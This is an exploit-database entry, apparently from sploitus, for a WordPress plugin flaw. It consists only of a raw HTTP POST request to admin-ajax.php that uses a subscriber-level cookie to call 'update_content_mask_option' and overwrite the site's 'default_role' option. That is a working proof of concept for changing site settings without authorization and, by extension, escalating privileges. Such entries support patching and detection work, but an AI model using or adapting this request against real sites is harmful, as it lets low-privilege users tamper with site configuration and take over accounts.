## https://sploitus.com/exploit?id=WPEX-ID:3C9969E5-CA8E-4E5D-A482-C6B5C4257820
POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: [subscriber+]
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close
action=update_content_mask_option&option=default_role&value=subscriber